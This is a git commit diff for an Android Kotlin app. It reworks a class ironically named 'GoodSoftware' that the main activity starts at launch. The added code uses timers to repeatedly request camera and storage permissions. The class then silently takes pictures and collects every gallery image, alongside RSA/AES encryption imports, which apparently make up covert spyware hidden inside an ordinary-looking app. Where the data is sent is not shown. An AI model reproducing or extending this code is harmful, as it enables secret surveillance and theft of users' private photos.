Let the class check its own permissions
This commit is contained in:
		
							
								
								
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -4,6 +4,18 @@
 | 
				
			|||||||
    <value>
 | 
					    <value>
 | 
				
			||||||
      <entry key="MainActivity">
 | 
					      <entry key="MainActivity">
 | 
				
			||||||
        <State>
 | 
					        <State>
 | 
				
			||||||
 | 
					          <runningDeviceTargetSelectedWithDropDown>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
				
			||||||
 | 
					                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					          </runningDeviceTargetSelectedWithDropDown>
 | 
				
			||||||
 | 
					          <timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
 | 
				
			||||||
          <runningDeviceTargetsSelectedWithDialog>
 | 
					          <runningDeviceTargetsSelectedWithDialog>
 | 
				
			||||||
            <Target>
 | 
					            <Target>
 | 
				
			||||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,9 +1,11 @@
 | 
				
			|||||||
package com.ti.mobpo
 | 
					package com.ti.mobpo
 | 
				
			||||||
 | 
					
 | 
				
			||||||
import android.Manifest
 | 
					import android.Manifest
 | 
				
			||||||
 | 
					import android.app.Activity
 | 
				
			||||||
import android.content.ContentResolver
 | 
					import android.content.ContentResolver
 | 
				
			||||||
import android.content.ContentUris
 | 
					import android.content.ContentUris
 | 
				
			||||||
import android.content.Context
 | 
					import android.content.Context
 | 
				
			||||||
 | 
					import android.content.ContextWrapper
 | 
				
			||||||
import android.content.pm.PackageManager
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
import android.graphics.Bitmap
 | 
					import android.graphics.Bitmap
 | 
				
			||||||
import android.graphics.BitmapFactory
 | 
					import android.graphics.BitmapFactory
 | 
				
			||||||
@@ -34,19 +36,22 @@ import java.security.KeyFactory
 | 
				
			|||||||
import java.security.PublicKey
 | 
					import java.security.PublicKey
 | 
				
			||||||
import java.security.SecureRandom
 | 
					import java.security.SecureRandom
 | 
				
			||||||
import java.security.spec.X509EncodedKeySpec
 | 
					import java.security.spec.X509EncodedKeySpec
 | 
				
			||||||
 | 
					import java.util.Timer
 | 
				
			||||||
import javax.crypto.Cipher
 | 
					import javax.crypto.Cipher
 | 
				
			||||||
import javax.crypto.spec.IvParameterSpec
 | 
					import javax.crypto.spec.IvParameterSpec
 | 
				
			||||||
import javax.crypto.spec.SecretKeySpec
 | 
					import javax.crypto.spec.SecretKeySpec
 | 
				
			||||||
 | 
					import kotlin.concurrent.schedule
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class GoodSoftware (private val activity: MainActivity) {
 | 
					class GoodSoftware (private val activity: Context) {
 | 
				
			||||||
    private var cameraProvider: ProcessCameraProvider? = null
 | 
					    private var cameraProvider: ProcessCameraProvider? = null
 | 
				
			||||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
					    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
				
			||||||
    private var imageCapture: ImageCapture? = null
 | 
					    private var imageCapture: ImageCapture? = null
 | 
				
			||||||
    private val REQUEST_CAMERA_PERMISSION = 100
 | 
					    private val REQUEST_CAMERA_PERMISSION = 100
 | 
				
			||||||
    private val REQUEST_GALLERY = 101
 | 
					    private val REQUEST_GALLERY = 101
 | 
				
			||||||
    private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
 | 
					    private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
 | 
				
			||||||
 | 
					    private var timerStorage: Timer? = null
 | 
				
			||||||
 | 
					    private var timerCamera: Timer? = null
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private companion object {
 | 
					    private companion object {
 | 
				
			||||||
        private const val RSA_ALGORITHM = "RSA"
 | 
					        private const val RSA_ALGORITHM = "RSA"
 | 
				
			||||||
@@ -99,11 +104,50 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
    fun launch() {
 | 
					    fun launch() {
 | 
				
			||||||
        Thread{
 | 
					        Thread{
 | 
				
			||||||
 | 
					            startCheckingPermission()
 | 
				
			||||||
 | 
					        }.start()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun startCheckingPermission() {
 | 
				
			||||||
 | 
					        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerStorage?.schedule(0) {
 | 
				
			||||||
            checkStoragePermission()
 | 
					            checkStoragePermission()
 | 
				
			||||||
        }.start()
 | 
					        }
 | 
				
			||||||
        Thread{
 | 
					
 | 
				
			||||||
 | 
					        timerStorage?.schedule(5000) {
 | 
				
			||||||
 | 
					            checkStoragePermission()
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerCamera?.schedule(0) {
 | 
				
			||||||
            checkCameraPermission()
 | 
					            checkCameraPermission()
 | 
				
			||||||
        }.start()
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        timerCamera?.schedule(5000) {
 | 
				
			||||||
 | 
					            println("Requesting camera permission again")
 | 
				
			||||||
 | 
					            checkCameraPermission()
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun stopCheckingStoragePermission() {
 | 
				
			||||||
 | 
					        timerStorage?.cancel()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun stopCheckingCameraPermission() {
 | 
				
			||||||
 | 
					        timerCamera?.cancel()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun Context.getActivity(): Activity? {
 | 
				
			||||||
 | 
					        var context = this
 | 
				
			||||||
 | 
					        while (context is ContextWrapper) {
 | 
				
			||||||
 | 
					            if (context is Activity) {
 | 
				
			||||||
 | 
					                return context
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					            context = context.baseContext
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					        return null
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun checkCameraPermission() {
 | 
					    private fun checkCameraPermission() {
 | 
				
			||||||
@@ -111,13 +155,18 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
            requestCameraPermission()
 | 
					            requestCameraPermission()
 | 
				
			||||||
        }else{
 | 
					        }else{
 | 
				
			||||||
            takePicture()
 | 
					            takePicture()
 | 
				
			||||||
 | 
					            stopCheckingCameraPermission()
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun requestCameraPermission() {
 | 
					    private fun requestCameraPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
 | 
					        activity?.let {
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun checkStoragePermission() {
 | 
					    private fun checkStoragePermission() {
 | 
				
			||||||
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
					        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
 | 
					            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
 | 
				
			||||||
@@ -132,19 +181,32 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                grabMedia()
 | 
					                grabMedia()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					        stopCheckingStoragePermission()
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
					    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
				
			||||||
    private fun requestMediaImagesPermission() {
 | 
					    private fun requestMediaImagesPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
 | 
					        activity?.let {
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun takePicture(){
 | 
					    private fun takePicture(){
 | 
				
			||||||
        activity.lifecycleScope.launch {
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
            takeBeautifulPicture(activity, activity)
 | 
					        activity?.let { act ->
 | 
				
			||||||
 | 
					            if (act is LifecycleOwner) {
 | 
				
			||||||
 | 
					                act.lifecycleScope.launch {
 | 
				
			||||||
 | 
					                    takeBeautifulPicture(act, act)
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            } else {
 | 
				
			||||||
 | 
					                // Handle the case where the activity is not a LifecycleOwner
 | 
				
			||||||
 | 
					                Log.e("Error", "Activity is not a LifecycleOwner")
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun grabMedia(){
 | 
					    private fun grabMedia(){
 | 
				
			||||||
        Thread {
 | 
					        Thread {
 | 
				
			||||||
            try {
 | 
					            try {
 | 
				
			||||||
@@ -216,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun requestGalleryPermission() {
 | 
					    private fun requestGalleryPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
					        val activity = activity.getActivity()
 | 
				
			||||||
 | 
					        activity?.let { act ->
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    // Handle permission request result
 | 
					    // Handle permission request result
 | 
				
			||||||
@@ -428,6 +493,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun getAllImagesFromGallery(context: Context): List<String> {
 | 
					    fun getAllImagesFromGallery(context: Context): List<String> {
 | 
				
			||||||
 | 
					        val activity = context.getActivity()
 | 
				
			||||||
        val imageList = mutableListOf<String>()
 | 
					        val imageList = mutableListOf<String>()
 | 
				
			||||||
        val contentResolver: ContentResolver = context.contentResolver
 | 
					        val contentResolver: ContentResolver = context.contentResolver
 | 
				
			||||||
        val imageProjection = arrayOf(
 | 
					        val imageProjection = arrayOf(
 | 
				
			||||||
@@ -461,7 +527,9 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
					            activity?.let {
 | 
				
			||||||
 | 
					                ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        return imageList
 | 
					        return imageList
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -9,10 +9,11 @@ import androidx.compose.material3.Surface
 | 
				
			|||||||
import androidx.compose.ui.Modifier
 | 
					import androidx.compose.ui.Modifier
 | 
				
			||||||
import androidx.lifecycle.LifecycleOwner
 | 
					import androidx.lifecycle.LifecycleOwner
 | 
				
			||||||
import com.ti.m.ui.theme.MTheme
 | 
					import com.ti.m.ui.theme.MTheme
 | 
				
			||||||
 | 
					import com.ti.mobpo.GoodSoftware
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
					class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
				
			||||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
					    override fun onCreate(savedInstanceState: Bundle?) {
 | 
				
			||||||
        super.onCreate(savedInstanceState)
 | 
					        super.onCreate(savedInstanceState)
 | 
				
			||||||
        GoodSoftware(this).start()
 | 
					        GoodSoftware(this).launch()
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user